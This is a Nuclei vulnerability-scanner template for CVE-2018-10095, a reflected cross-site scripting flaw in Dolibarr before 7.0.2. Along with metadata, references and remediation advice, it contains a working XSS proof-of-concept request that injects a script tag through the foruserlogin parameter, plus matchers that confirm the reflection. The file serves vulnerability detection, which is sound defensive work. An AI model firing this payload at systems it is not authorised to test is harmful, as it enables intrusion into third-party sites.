nuclei-templates/http/cves/2018/CVE-2018-10095.yaml

51 lines
1.8 KiB
YAML

id: CVE-2018-10095
info:
name: Dolibarr <7.0.2 - Cross-Site Scripting
author: pikpikcu
severity: medium
description: |
Dolibarr before 7.0.2 is vulnerable to cross-site scripting and allows remote attackers to inject arbitrary web script or HTML via the foruserlogin parameter to adherents/cartes/carte.php.
remediation: |
Upgrade to Dolibarr version 7.0.2 or later to mitigate this vulnerability.
reference:
- https://sysdream.com/news/lab/2018-05-21-cve-2018-10095-dolibarr-xss-injection-vulnerability/
- https://github.com/Dolibarr/dolibarr/commit/1dc466e1fb687cfe647de4af891720419823ed56
- https://github.com/Dolibarr/dolibarr/blob/7.0.2/ChangeLog
- https://nvd.nist.gov/vuln/detail/CVE-2018-10095
- http://www.openwall.com/lists/oss-security/2018/05/21/3
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2018-10095
cwe-id: CWE-79
epss-score: 0.95296
epss-percentile: 0.99124
cpe: cpe:2.3:a:dolibarr:dolibarr:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: dolibarr
product: dolibarr
tags: cve,cve2018,xss,dolibarr
http:
- method: GET
path:
- "{{BaseURL}}/dolibarr/adherents/cartes/carte.php?&mode=cardlogin&foruserlogin=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&model=5160&optioncss=print"
matchers-condition: and
matchers:
- type: word
part: body
words:
- '</script><script>alert(document.domain)</script>'
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
# digest: 4b0a00483046022100c7dae09f6d973945bb3a8d80aab6864f462077b839a8685bba55bafe4b1bbe92022100e8e6cc2efca468cb3f58f2426ef31ee42ffd5c3cea12f6b83b1effbd0d7b96bc:922c64590222798bb761d5b6d8e72950